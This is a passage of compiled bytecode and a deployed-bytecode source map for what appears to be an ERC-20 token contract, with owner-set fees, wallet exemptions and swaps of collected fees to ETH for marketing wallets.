0ff16155b801561203e57506001600160a01b0385166000908152600b602052604090205460ff16155b801561204e575060195460185410155b80156120575750805b9695505050505050565b601a805460ff19166001179055601f54601d54602054601e5460009361208e939092610fec9283916113ac565b6120999060026127ce565b905060006120b682610850601e548661139490919063ffffffff16565b905060006120c48483611388565b9050476120d082612289565b60006120dc4783611388565b905060006120ff6120f8601e548861138890919063ffffffff16565b83906113a0565b90506000612118601e548361139490919063ffffffff16565b9050801561212a5761212a86826123e3565b601d546000906121459061213f856002611394565b90611394565b90508015612189576027546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612187573d6000803e3d6000fd5b505b60205460009061219e9061213f866002611394565b905080156121e2576022546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156121e0573d6000803e3d6000fd5b505b5050601a805460ff191690555050505050505050565b60008060135411801561220e5750601a5460ff16155b8061225357506001600160a01b03831660009081526008602052604090205460ff16801561225357506001600160a01b03831660009081526007602052604090205442115b8061227657506001600160a01b03821660009081526008602052604090205460ff165b806107a2575042600e5411905092915050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122be576122be612931565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612317573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061233b9190612947565b8160018151811061234e5761234e612931565b6001600160a01b039283166020918202929092010152600c546123749130911684611116565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906123ad908590600090869030904290600401612964565b600060405180830381600087803b1580156123c757600080fd5b505af11580156123db573d6000803e3d6000fd5b505050505050565b600c546123fb9030906001600160a01b031684611116565b600c5460215460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af115801561246b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d3891906129d5565b600060208083528351808285015260005b818110156124bd578581018301518582016040015282016124a1565b818111156124cf576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b0957600080fd5b6000806040838503121561250d57600080fd5b8235612518816124e5565b946020939093013593505050565b8015158114610b0957600080fd5b6000806040838503121561254757600080fd5b823561255281612526565b91506020830135612562816124e5565b809150509250929050565b60008060006060848603121561258257600080fd5b833561258d816124e5565b9250602084013561259d816124e5565b929592945050506040919091013590565b6000602082840312156125c057600080fd5b81356107a2816124e5565b6000602082840312156125dd57600080fd5b5035919050565b600080600080600080600060e0888a0312156125ff57600080fd5b873561260a816124e5565b9650602088013561261a816124e5565b9550604088013561262a816124e5565b9450606088013561263a816124e5565b9350608088013561264a816124e5565b925060a088013561265a816124e5565b915060c088013561266a816124e5565b8091505092959891949750929550565b6000806000806080858703121561269057600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156126bf57600080fd5b50508035926020909101359150565b600080604083850312156126e157600080fd5b8235612552816124e5565b600080604083850312156126ff57600080fd5b823561251881612526565b600080600080600060a0868803121561272257600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b60006020828403121561275757600080fd5b81356107a281612526565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60006020828403121561279457600080fd5b5051919050565b6000602082840312156127ad57600080fd5b81516107a281612526565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156127e8576127e86127b8565b500290565b60008261280a57634e487b7160e01b600052601260045260246000fd5b500490565b600082821015612821576128216127b8565b500390565b60008219821115612839576128396127b8565b500190565b600181815b8085111561287957816000190482111561285f5761285f6127b8565b8085161561286c57918102915b93841c9390800290612843565b509250929050565b600082612890575060016106de565b8161289d575060006106de565b81600181146128b357600281146128bd576128d9565b60019150506106de565b60ff8411156128ce576128ce6127b8565b50506001821b6106de565b5060208310610133831016604e8410600b84101617156128fc575081810a6106de565b612906838361283e565b806000190482111561291a5761291a6127b8565b029392505050565b60006107a260ff841683612881565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561295957600080fd5b81516107a2816124e5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156129b45784516001600160a01b03168352938301939183019160010161298f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156129ea57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122066871ef03dea533a2b5af24f114c7e3978af77ef7c1adf56029b627ae845151464736f6c634300080f0033

Deployed Bytecode Sourcemap

4646:16604:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7575:67;;;;;;;;;;-1:-1:-1;7635:5:0;;;;;;;;;;;-1:-1:-1;;;7635:5:0;;;;7575:67;;;;7635:5;7575:67;:::i;:::-;;;;;;;;8588:133;;;;;;;;;;-1:-1:-1;8588:133:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;8588:133:0;1072:187:1;7882:84:0;;;;;;;;;;-1:-1:-1;7952:12:0;;7882:84;;;1410:25:1;;;1398:2;1383:18;7882:84:0;1264:177:1;8964:93:0;;;;;;;;;;-1:-1:-1;8964:93:0;;;;;:::i;:::-;;:::i;:::-;;9789:309;;;;;;;;;;-1:-1:-1;9789:309:0;;;;;:::i;:::-;;:::i;8727:132::-;;;;;;;;;;;;;:::i;3026:87::-;;;;;;;;;;-1:-1:-1;3026:87:0;;;;;:::i;:::-;3081:4;3106:5;-1:-1:-1;;;;;3095:16:0;;;3106:5;;3095:16;;3026:87;15336:198;;;;;;;;;;-1:-1:-1;15336:198:0;;;;;:::i;:::-;;:::i;7725:67::-;;;;;;;;;;-1:-1:-1;7725:67:0;;4857:1;2996:36:1;;2984:2;2969:18;7725:67:0;2854:184:1;9508:133:0;;;;;;;;;;-1:-1:-1;9508:133:0;;;;;:::i;:::-;;:::i;18234:517::-;;;;;;;;;;-1:-1:-1;18234:517:0;;;;;:::i;:::-;;:::i;9063:103::-;;;;;;;;;;-1:-1:-1;9063:103:0;;;;;:::i;:::-;;:::i;17012:292::-;;;;;;;;;;-1:-1:-1;17012:292:0;;;;;:::i;:::-;;:::i;7972:103::-;;;;;;;;;;-1:-1:-1;7972:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;8055:18:0;8038:7;8055:18;;;:9;:18;;;;;;;7972:103;8867:91;;;;;;;;;;-1:-1:-1;8867:91:0;;;;;:::i;:::-;;:::i;9243:60::-;;;;;;;;;;;;;:::i;5064:63::-;;;;;;;;;;;;;;;;4997:60;;;;;;;;;;;;;;;;16672:119;;;;;;;;;;-1:-1:-1;16672:119:0;;;;;:::i;:::-;;:::i;7798:78::-;;;;;;;;;;-1:-1:-1;7850:7:0;7868:5;-1:-1:-1;;;;;7868:5:0;7798:78;;;-1:-1:-1;;;;;4699:32:1;;;4681:51;;4669:2;4654:18;7798:78:0;4535:203:1;9408:94:0;;;;;;;;;;-1:-1:-1;9408:94:0;;;;;:::i;:::-;;:::i;16799:205::-;;;;;;;;;;-1:-1:-1;16799:205:0;;;;;:::i;:::-;;:::i;5492:19::-;;;;;;;;;;-1:-1:-1;5492:19:0;;;;-1:-1:-1;;;;;5492:19:0;;;8081:139;;;;;;;;;;-1:-1:-1;8081:139:0;;;;;:::i;:::-;;:::i;9309:93::-;;;;;;;;;;-1:-1:-1;9309:93:0;;;;;:::i;:::-;;:::i;16445:219::-;;;;;;;;;;-1:-1:-1;16445:219:0;;;;;:::i;:::-;;:::i;8359:89::-;;;;;;;;;;-1:-1:-1;8359:89:0;;;;;:::i;:::-;-1:-1:-1;;;;;8431:15:0;8417:4;8431:15;;;:5;:15;;;;;;;;;8359:89;15836:437;;;;;;;;;;-1:-1:-1;15836:437:0;;;;;:::i;:::-;;:::i;14222:401::-;;;;;;;;;;-1:-1:-1;14222:401:0;;;;;:::i;:::-;;:::i;8226:127::-;;;;;;;;;;-1:-1:-1;8226:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8324:18:0;;;8307:7;8324:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8226:127;9647:134;;;;;;;;;;-1:-1:-1;9647:134:0;;;;;:::i;:::-;;:::i;17792:434::-;;;;;;;;;;-1:-1:-1;17792:434:0;;;;;:::i;:::-;;:::i;3119:111::-;;;;;;;;;;-1:-1:-1;3119:111:0;;;;;:::i;:::-;;:::i;9172:65::-;;;;;;;;;;-1:-1:-1;9172:65:0;;;;;:::i;:::-;;:::i;8588:133::-;8663:4;8670:37;8679:10;8691:7;8700:6;8670:8;:37::i;:::-;-1:-1:-1;8715:4:0;8588:133;;;;;:::o;8964:93::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;9032:15:0::1;;::::0;;;:5:::1;:15;::::0;;;;:23;;-1:-1:-1;;9032:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8964:93::o;9789:309::-;9887:4;9904:36;9914:6;9922:9;9933:6;9904:9;:36::i;:::-;9951:117;9960:6;9968:10;9980:87;10016:6;9980:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9980:19:0;;;;;;:11;:19;;;;;;;;10000:10;9980:31;;;;;;;;;:87;:35;:87::i;:::-;9951:8;:117::i;:::-;-1:-1:-1;10086:4:0;9789:309;;;;;;:::o;8727:132::-;8055:9;:18;;;;8824:4;;-1:-1:-1;;;;;8824:4:0;8780:7;8055:18;;;;;;;8797:12;;8780:7;;8797:60;;8055:18;;8797:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;8790:67;;8727:132;:::o;15336:198::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;15464:16:::1;::::0;15424:21:::1;::::0;-1:-1:-1;;;;;15464:16:0::1;15456:70;15491:34;15521:3;15491:25;15424:21:::0;15505:10;15491:13:::1;:25::i;:::-;:29:::0;::::1;:34::i;:::-;15456:70;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;15393:141;15336:198:::0;:::o;9508:133::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;9566:9:::1;:16:::0;;-1:-1:-1;;;;9566:16:0::1;-1:-1:-1::0;;;9566:16:0::1;::::0;;9584:5:::1;:12:::0;;-1:-1:-1;;9584:12:0::1;9566:16;9584:12;::::0;;9612:27:::1;:15;9632:6:::0;9612:19:::1;:27::i;:::-;9598:11;:41:::0;-1:-1:-1;9508:133:0:o;18234:517::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;18411:18:::1;:31:::0;;-1:-1:-1;;;;;;18411:31:0;;::::1;-1:-1:-1::0;;;;;18411:31:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;18444:25:0;;;:13:::1;:25;::::0;;;;;:32;;-1:-1:-1;;18444:32:0;;::::1;-1:-1:-1::0;18444:32:0;;::::1;::::0;;;18487:14:::1;:23:::0;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;18512:21;;;;;;:28;;;::::1;::::0;::::1;::::0;;18551:13:::1;:21:::0;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;18574:20;;;;;;:27;;;;::::1;::::0;;::::1;::::0;;;18612:14:::1;:23:::0;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;18646:16:::1;:25:::0;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;18682:14:::1;:23:::0;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;18716:16:::1;:27:::0;;;;::::1;::::0;;;::::1;;::::0;;18234:517::o;9063:103::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9136:20:0::1;;::::0;;;:10:::1;:20;::::0;;;;:28;;-1:-1:-1;;9136:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9063:103::o;17012:292::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;17143:19:::1;:34:::0;;;;17188:15:::1;:26:::0;;;;17225:17:::1;:30:::0;17266:17:::1;:30:::0;17012:292::o;8867:91::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8928:21:0::1;;::::0;;;:11:::1;:21;::::0;;;;:28;;-1:-1:-1;;8928:28:0::1;8952:4;8928:28;::::0;;8867:91::o;9243:60::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;9291:10:::1;:8;:10::i;:::-;9243:60::o:0;16672:119::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;16739:44:::1;16757:4;16764:10;16776:6;16739:9;:44::i;:::-;16672:119:::0;:::o;9408:94::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;9471:18:::1;:29:::0;;-1:-1:-1;;;;;;9471:29:0::1;-1:-1:-1::0;;;;;9471:29:0;;;::::1;::::0;;;::::1;::::0;;9408:94::o;16799:205::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16888:15:0::1;16906:5;16888:15:::0;;;:5:::1;:15;::::0;;;;;;;:23;;-1:-1:-1;;16888:23:0;;::::1;::::0;;;16922:10:::1;:20:::0;;;;;:31;;;::::1;;::::0;;::::1;::::0;::::1;::::0;;16964:11:::1;:21:::0;;;;;;:32;;;;::::1;::::0;;::::1;::::0;;16799:205::o;8081:139::-;8159:4;8166:40;8176:10;8188:9;8199:6;8166:9;:40::i;9309:93::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;9374:26:::1;9391:3;9396;9374:16;:26::i;:::-;9309:93:::0;;:::o;16445:219::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;16554::::1;::::0;-1:-1:-1;;;16554:38:0;;16586:4:::1;16554:38;::::0;::::1;4681:51:1::0;16539:12:0::1;::::0;-1:-1:-1;;;;;16554:23:0;::::1;::::0;::::1;::::0;4654:18:1;;16554:38:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16539:53:::0;-1:-1:-1;;;;;;16603:22:0;::::1;;16626:4:::0;16632:23:::1;16651:3;16632:14;16539:53:::0;16641:4;16632:8:::1;:14::i;:23::-;16603:53;::::0;-1:-1:-1;;;;;;16603:53:0::1;::::0;;;;;;-1:-1:-1;;;;;7383:32:1;;;16603:53:0::1;::::0;::::1;7365:51:1::0;7432:18;;;7425:34;7338:18;;16603:53:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;16528:136;16445:219:::0;;;:::o;15836:437::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;15923:13:::1;15973:5;15956:12;15941;;:27;;;;:::i;:::-;15939:39;;;;:::i;:::-;15923:55;;15989:17;16038:5;16026:7;16011:12;;:22;;;;:::i;:::-;16009:34;;;;:::i;:::-;16054:12;:20:::0;;;16085:15:::1;:27:::0;;;16140:12:::1;::::0;15989:54;;-1:-1:-1;16140:29:0::1;::::0;16164:4:::1;::::0;16140:19:::1;::::0;16157:1:::1;16140:16;:19::i;:29::-;16131:5;:38;;:84;;;;;16186:29;16210:4;16186:19;16203:1;16186:12;;:16;;:19;;;;:::i;:29::-;16173:9;:42;;16131:84;16123:142;;;::::0;-1:-1:-1;;;16123:142:0;;8449:2:1;16123:142:0::1;::::0;::::1;8431:21:1::0;8488:2;8468:18;;;8461:30;8527:34;8507:18;;;8500:62;-1:-1:-1;;;8578:18:1;;;8571:43;8631:19;;16123:142:0::1;8247:409:1::0;16123:142:0::1;15912:361;;15836:437:::0;;:::o;14222:401::-;-1:-1:-1;;;;;14322:13:0;;14299:7;14322:13;;;:5;:13;;;;;;;;:51;;;;-1:-1:-1;;;;;;14339:16:0;;;;;;:8;:16;;;;;;14358:15;-1:-1:-1;14322:51:0;:60;;;;-1:-1:-1;14377:5:0;;;;;;;14322:60;:137;;;-1:-1:-1;;;;;;14386:16:0;;;;;;:5;:16;;;;;;;;:64;;;;-1:-1:-1;;;;;;14416:16:0;;;;;;:8;:16;;;;;;14435:15;-1:-1:-1;14386:64:0;:73;;;;-1:-1:-1;14454:5:0;;;;;;;14386:73;14322:170;;;;14477:15;14463:11;;:29;14322:170;14319:208;;;14501:14;;:23;;14520:3;14501:18;:23::i;:::-;14494:31;;;;14319:208;14550:4;;-1:-1:-1;;;;;14540:14:0;;;14550:4;;14540:14;14537:53;;14576:11;;14563:8;;:25;;:12;:25::i;14537:53::-;-1:-1:-1;14607:8:0;;14222:401;;;;:::o;9647:134::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;9730:11:::1;:21:::0;;-1:-1:-1;;9730:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;;9753:13:::1;:26:::0;9647:134::o;17792:434::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;17918:12:::1;:19:::0;;;17948:12:::1;:20:::0;;;17979:10:::1;:18:::0;;;18008:7:::1;:15:::0;;;18034:11:::1;:19:::0;;;18075:59:::1;18018:5:::0;18075:46:::1;17992:5:::0;18075:46;17933:4;17963:5;18075:16:::1;:30::i;:::-;:34:::0;::::1;:46::i;:59::-;18064:8;:70:::0;18165:14:::1;::::0;:21:::1;::::0;18184:1:::1;18165:18;:21::i;:::-;18153:8;;:33;;18145:73;;;::::0;-1:-1:-1;;;18145:73:0;;8863:2:1;18145:73:0::1;::::0;::::1;8845:21:1::0;8902:2;8882:18;;;8875:30;8941:29;8921:18;;;8914:57;8988:18;;18145:73:0::1;8661:351:1::0;3119:111:0;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;3185:5:::1;:11:::0;;-1:-1:-1;;;;;;3185:11:0::1;-1:-1:-1::0;;;;;3185:11:0;::::1;::::0;;::::1;::::0;;;3203:25:::1;::::0;4681:51:1;;;3203:25:0::1;::::0;4669:2:1;4654:18;3203:25:0::1;;;;;;;3119:111:::0;:::o;9172:65::-;3081:4;3106:5;-1:-1:-1;;;;;3106:5:0;2993:10;3095:16;2977:38;;;;-1:-1:-1;;;2977:38:0;;;;;;;:::i;:::-;9222:5:::1;:13:::0;;;::::1;;;;-1:-1:-1::0;;9222:13:0;;::::1;::::0;;;::::1;::::0;;9172:65::o;10106:335::-;-1:-1:-1;;;;;10199:19:0;;10191:68;;;;-1:-1:-1;;;10191:68:0;;9435:2:1;10191:68:0;;;9417:21:1;9474:2;9454:18;;;9447:30;9513:34;9493:18;;;9486:62;-1:-1:-1;;;9564:18:1;;;9557:34;9608:19;;10191:68:0;9233:400:1;10191:68:0;-1:-1:-1;;;;;10278:21:0;;10270:68;;;;-1:-1:-1;;;10270:68:0;;9840:2:1;10270:68:0;;;9822:21:1;9879:2;9859:18;;;9852:30;9918:34;9898:18;;;9891:62;-1:-1:-1;;;9969:18:1;;;9962:32;10011:19;;10270:68:0;9638:398:1;10270:68:0;-1:-1:-1;;;;;10349:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10401:32;;1410:25:1;;;10401:32:0;;1383:18:1;10401:32:0;;;;;;;10106:335;;;:::o;10449:768::-;10538:37;10549:6;10557:9;10568:6;10538:10;:37::i;:::-;10586:33;10601:6;10609:9;10586:14;:33::i;:::-;10630:41;10645:6;10653:9;10664:6;10630:14;:41::i;:::-;10683:35;10700:6;10708:9;10683:16;:35::i;:::-;10729:39;10742:6;10750:9;10761:6;10729:12;:39::i;:::-;10780:35;10789:6;10797:9;10808:6;10780:8;:35::i;:::-;-1:-1:-1;;;;;10846:17:0;;;;;;:9;:17;;;;;;:29;;10868:6;10846:21;:29::i;:::-;-1:-1:-1;;;;;10826:17:0;;;;;;:9;:17;;;;;:49;;;;10911:32;10836:6;10933:9;10911:13;:32::i;:::-;:83;;10988:6;10911:83;;;10946:39;10959:6;10967:9;10978:6;10946:12;:39::i;:::-;-1:-1:-1;;;;;11028:20:0;;;;;;:9;:20;;;;;;10886:108;;-1:-1:-1;11028:40:0;;10886:108;11028:24;:40::i;:::-;-1:-1:-1;;;;;11005:20:0;;;;;;;:9;:20;;;;;;;:63;;;;11084:43;;;;;;-1:-1:-1;;;;;;;;;;;11084:43:0;;;11112:14;1410:25:1;;1398:2;1383:18;;1264:177;11084:43:0;;;;;;;;11138:33;11153:9;11164:6;11138:14;:33::i;:::-;11182:27;11191:6;11199:9;11182:8;:27::i;1425:162::-;1511:7;1557:12;1549:6;;;;1541:29;;;;-1:-1:-1;;;1541:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1579:5:0;;;1425:162::o;212:82::-;270:7;287:5;291:1;287;:5;:::i;300:82::-;358:7;375:5;379:1;375;:5;:::i;388:82::-;446:7;463:5;467:1;463;:5;:::i;124:82::-;182:7;199:5;203:1;199;:5;:::i;16281:156::-;16343:4;;16336:37;;-1:-1:-1;;;16336:37:0;;16367:4;16336:37;;;4681:51:1;16321:12:0;;-1:-1:-1;;;;;16343:4:0;;16336:22;;4654:18:1;;16336:37:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16391:4;;16406:16;;16384:45;;-1:-1:-1;;;16384:45:0;;-1:-1:-1;;;;;16406:16:0;;;16384:45;;;7365:51:1;7432:18;;;7425:34;;;16321:52:0;;-1:-1:-1;16391:4:0;;16384:21;;7338:18:1;;16384:45:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;17312:472::-;17400:21;17384:13;17449:23;17468:3;17449:14;17400:21;17459:3;17449:9;:14::i;:23::-;17432:40;-1:-1:-1;17483:14:0;17500:23;17519:3;17500:14;17432:40;17511:2;17500:10;:14::i;:23::-;17483:40;-1:-1:-1;17534:14:0;17551:23;17570:3;17551:14;:6;17562:2;17551:10;:14::i;:23::-;17534:40;-1:-1:-1;17585:14:0;17602:22;17620:3;17602:13;:6;17585:14;17602:10;:13::i;:22::-;17643:14;;17635:40;;17585:39;;-1:-1:-1;;;;;;17643:14:0;;17635:40;;;;;17668:6;;17643:14;17635:40;17643:14;17635:40;17668:6;17643:14;17635:40;;;;;;;;;;;;;;;;;;;;-1:-1:-1;17694:13:0;;17686:39;;-1:-1:-1;;;;;17694:13:0;;;;17686:39;;;;;17718:6;;17694:13;17686:39;17694:13;17686:39;17718:6;17694:13;17686:39;;;;;;;;;;;;;;;;;;;;-1:-1:-1;17744:14:0;;17736:40;;-1:-1:-1;;;;;17744:14:0;;;;17736:40;;;;;17769:6;;17744:14;17736:40;17744:14;17736:40;17769:6;17744:14;17736:40;;;;;;;;;;;;;;;;;;;;;17373:411;;;;;17312:472;;:::o;11225:430::-;-1:-1:-1;;;;;11329:20:0;;11321:70;;;;-1:-1:-1;;;11321:70:0;;10506:2:1;11321:70:0;;;10488:21:1;10545:2;10525:18;;;10518:30;10584:34;10564:18;;;10557:62;-1:-1:-1;;;10635:18:1;;;10628:35;10680:19;;11321:70:0;10304:401:1;11321:70:0;-1:-1:-1;;;;;11410:23:0;;11402:71;;;;-1:-1:-1;;;11402:71:0;;10912:2:1;11402:71:0;;;10894:21:1;10951:2;10931:18;;;10924:30;10990:34;10970:18;;;10963:62;-1:-1:-1;;;11041:18:1;;;11034:33;11084:19;;11402:71:0;10710:399:1;11402:71:0;11501:1;11492:6;:10;11484:64;;;;-1:-1:-1;;;11484:64:0;;11316:2:1;11484:64:0;;;11298:21:1;11355:2;11335:18;;;11328:30;11394:34;11374:18;;;11367:62;-1:-1:-1;;;11445:18:1;;;11438:39;11494:19;;11484:64:0;11114:405:1;11484:64:0;-1:-1:-1;;;;;8055:18:0;;8038:7;8055:18;;;:9;:18;;;;;;11567:6;:27;;11559:88;;;;-1:-1:-1;;;11559:88:0;;11726:2:1;11559:88:0;;;11708:21:1;11765:2;11745:18;;;11738:30;11804:34;11784:18;;;11777:62;-1:-1:-1;;;11855:18:1;;;11848:47;11912:19;;11559:88:0;11524:413:1;11663:176:0;-1:-1:-1;;;;;11751:19:0;;;;;;:11;:19;;;;;;;;11750:20;:47;;;;-1:-1:-1;;;;;;11775:22:0;;;;;;:11;:22;;;;;;;;11774:23;11750:47;11747:85;;;11807:9;;-1:-1:-1;;;11807:9:0;;;;11799:31;;;;-1:-1:-1;;;11799:31:0;;12144:2:1;11799:31:0;;;12126:21:1;12183:1;12163:18;;;12156:29;-1:-1:-1;;;12201:18:1;;;12194:39;12250:18;;11799:31:0;11942:332:1;11851:327:0;-1:-1:-1;;;;;11955:19:0;;;;;;:11;:19;;;;;;;;11954:20;:47;;;;-1:-1:-1;;;;;;11979:22:0;;;;;;:11;:22;;;;;;;;11978:23;11954:47;:73;;;;-1:-1:-1;;;;;;12006:21:0;;;;;;:10;:21;;;;;;;;12005:22;11954:73;:103;;;;-1:-1:-1;12052:4:0;;-1:-1:-1;;;;;12031:26:0;;;12052:4;;12031:26;;11954:103;11951:220;;;12119:15;;-1:-1:-1;;;;;12082:20:0;;;;;;:9;:20;;;;;;:32;;12107:6;12082:24;:32::i;:::-;12081:53;;12073:96;;;;-1:-1:-1;;;12073:96:0;;12481:2:1;12073:96:0;;;12463:21:1;12520:2;12500:18;;;12493:30;12559:32;12539:18;;;12532:60;12609:18;;12073:96:0;12279:354:1;12186:270:0;12280:4;;-1:-1:-1;;;;;12270:14:0;;;12280:4;;12270:14;;;;:37;;-1:-1:-1;;;;;;12289:18:0;;;;;;:10;:18;;;;;;;;12288:19;12270:37;:64;;;;-1:-1:-1;;;;;;12312:22:0;;;;;;:11;:22;;;;;;;;12311:23;12270:64;12267:99;;;12348:9;;:16;;12362:1;12348:13;:16::i;:::-;12336:9;:28;12267:99;12389:4;;-1:-1:-1;;;;;12389:4:0;;;12379:14;;;;12376:73;;12437:9;;12417:30;;:15;;:19;:30::i;:::-;-1:-1:-1;;;;;12395:19:0;;;;;;:8;:19;;;;;:52;12186:270;;:::o;14631:207::-;14747:12;;14737:6;:22;;:45;;;-1:-1:-1;;;;;;14763:19:0;;;;;;:11;:19;;;;;;;;14737:45;:71;;;-1:-1:-1;;;;;;14786:22:0;;;;;;:11;:22;;;;;;;;14737:71;14729:101;;;;-1:-1:-1;;;14729:101:0;;12840:2:1;14729:101:0;;;12822:21:1;12879:2;12859:18;;;12852:30;-1:-1:-1;;;12898:18:1;;;12891:47;12955:18;;14729:101:0;12638:341:1;19166:188:0;19258:41;19273:6;19281:9;19292:6;19258:14;:41::i;:::-;19255:92;;;19301:29;19316:13;;19301:14;:29::i;:::-;19344:1;19332:9;:13;19166:188;;;:::o;12464:160::-;-1:-1:-1;;;;;12570:19:0;;12545:4;12570:19;;;:11;:19;;;;;;;;12569:20;:47;;;;-1:-1:-1;;;;;;;12594:22:0;;;;;:11;:22;;;;;;;;12593:23;;12464:160;-1:-1:-1;12464:160:0:o;12885:1329::-;12976:7;12999:31;13012:6;13020:9;12999:12;:31::i;:::-;12996:1187;;;13042:17;13062:30;13074:6;13082:9;13062:11;:30::i;:::-;13042:50;;13103:17;13123:62;13170:14;;13123:42;13134:30;13146:6;13154:9;13134:11;:30::i;:::-;13123:6;;:10;:42::i;:62::-;13103:82;;13239:1;13199:37;13226:9;13199:22;13213:7;;13199:9;:13;;:22;;;;:::i;:37::-;:41;13196:238;;;13279:67;13308:37;13335:9;13308:22;13322:7;;13308:9;:13;;:22;;;;:::i;:37::-;13297:4;;-1:-1:-1;;;;;13297:4:0;13279:24;;;;:9;:24;;;;;;;:28;:67::i;:::-;13270:4;;;-1:-1:-1;;;;;13270:4:0;;;13252:24;;;;:9;:24;;;;;:94;;;;13387:4;13408:7;;13387:4;;;;13362:70;;;-1:-1:-1;;;;;;;;;;;13362:70:0;13